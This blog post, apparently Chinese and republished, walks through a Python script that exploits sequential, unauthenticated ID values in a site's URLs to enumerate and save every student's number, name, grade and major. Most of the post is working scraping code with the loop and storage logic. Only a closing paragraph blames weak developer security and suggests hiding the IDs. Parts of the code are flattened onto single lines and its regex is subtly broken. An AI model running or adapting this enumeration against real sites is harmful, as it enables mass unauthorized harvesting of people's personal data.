zoukankan      html  css  js  c++  java
  • 定向爬取网页内容

    该程序使用request模块来对网页的请求访问,然后获取其网页的内容,再通过re模块下的正则表达式来筛选出所要的数据。代码简单,大牛路过别喷......

    首先,想要获取网页中想要的数据,就要分析网页的结构和网页内容中数据在哪个html标签中,然后分析其间的关系。如下图:

    在这里仅仅只是介绍获取上面的学号、姓名、年级和专业相对应的值。由图可以知道,所有的值都是放在一个div中,并且存放值的div的设置都是一样的,而且网页中

    其他的值不是以这样的形式存放,这样就可以将其内容单独取出来了。网页的内容由网址后面的id值决定,每个id值都会对应着每个人的信息,这也算是一个小小的bug吧,

    通过改变id值来获取不同的页面,进而获取到每个人的信息,比如:网址为:http://xxxx.xxx.com/test/id=15525,该ID值是对应上面的信息,而且通过测试知道该id

    值是连续的,而不是随机的,所以这提供猜解每个人的方法,就是将id值累加就可以将所有人的相应的信息都穷举出来。通过上面的分析,就可以将想要的数据筛选出来了。

    接下来就可以着手编写相应的正则表达式来获取相应的数据,你可以在站长工具上找到相应的正则表达式编写的工具来测试,将该div下的内容粘贴过去作为查找的内容,

    然后测试你的正则表达式是否编写正确,看看是否可以获取到相应字段的值。编写的正则表达式为:'<div align="left">([^<span]s*.*s*.*)</div>',能获取到相应的

    数据,那么就可以开始整个程序的代码实现了。注意:在获取相应的数据前,应该知道网页的编码,不然可能会导致抓取下来的网页内容出现乱码现象。

    首先就是导入相应的处理模块和一些变量的初始化:

    #   -*-   coding:utf-8   -*-
    import
    requests import re Host = '' # 猜解的网址 # id value stuID = 15525 # 将结果写进文件里面 path = 'H:\python' # 保存结果的目录 nStop = 0 # 终止猜解的标志 kShow = 0 # 简单的计数

    然后就是请求网页和处理网页的内容,来获取自己想要的数据:

    try:
        while True:
    
            f = open(path + 'id.docx','a')
            stuID += 1
            host = Host + str(stuID)
            tmpValue = ''   # 用于保存所有的值
            content = requests.get(host).content   # 获取网页内容
            value = re.findall('<div align="left">([^<span]s*.*s*.*)</div>',content)   # s 匹配任意空白字符
            testValue = value[0].strip()   # 判断value列表的第一个值是否为空,是则退出循环
    if testValue == '': nStop += 1 # 用于计算,如果出现连续100个人都没有信息,才退出循环 # 这样导致有一些同学退学的,相应的ID没有信息,导致中断了? if nStop == 100: print('已经拆解完 ... ') break print('.'), # 简单的计数和提示 if kShow % 50 == 0: print

    for v in value: kShow += 1 try: val = unicode(v.strip()) tmpValue += str(v.strip().encode('utf-8')) + ' ' nStop = 0 # 这样当有信息时,将n置为0,保证了n的值当出现有值时是为0的 except UnicodeEncodeError: print('error') f.writelines(str(stuID)+ ' ' + tmpValue + ' ') # 将信息写进文件 f.close() except Exception,e: print(e) print('done ... ...')

    上面就是整个程序的全部代码了,其中有些代码并没有任何意义,只是简单的提示功能,如:print('.'),在控制台下输出一个'.',表示该程序还在运行,因为该程序是将结果

    直接写进一个文档中,而且没有任何的输出,如果没有提示,用户可能会误以为该程序没有正常执行或执行出现了卡死状态,这样还有一个就是可以简单的进行猜解的数量,

    因为下面设置了每50个id就换行,所以还是可以初略的判断猜解的数量的,当然,你还可以在输出的前面添加序号,这样就方便计数,更可以将其使用累加方式将其计算出来。

    从该例子看,这样未授权就可以访问到相应网页内容的并不少见,由于开发人员的安全意识不够,这样必会导致我们数据的泄露,就该网站来说,应该将该ID值加密,最好是

    使用现有的加密方法及加上自己一些标识符混淆,而不是将其以明文方式显示出来。

    http://www.cnblogs.com/GHost-Ma/
  • 相关阅读:
    让Oracle的 SHOW PARAMETER 命令显示隐藏参数
    insufficient privileges for 'SYS' when 'shutdown immediate'
    ROW_NUMBER
    Oracle RAC 环境下的连接管理
    git报错:fatal: bad config line 1 in file C:/Users/JIANGXIAOLIANG/.gitconfig
    MVC教程:授权过滤器
    MVC教程:MVC区域路由
    ES6语法:let和const
    git基本操作:分支管理
    Vue:计算属性
  • 原文地址:https://www.cnblogs.com/GHost-Ma/p/5614842.html
Copyright © 2011-2022 走看看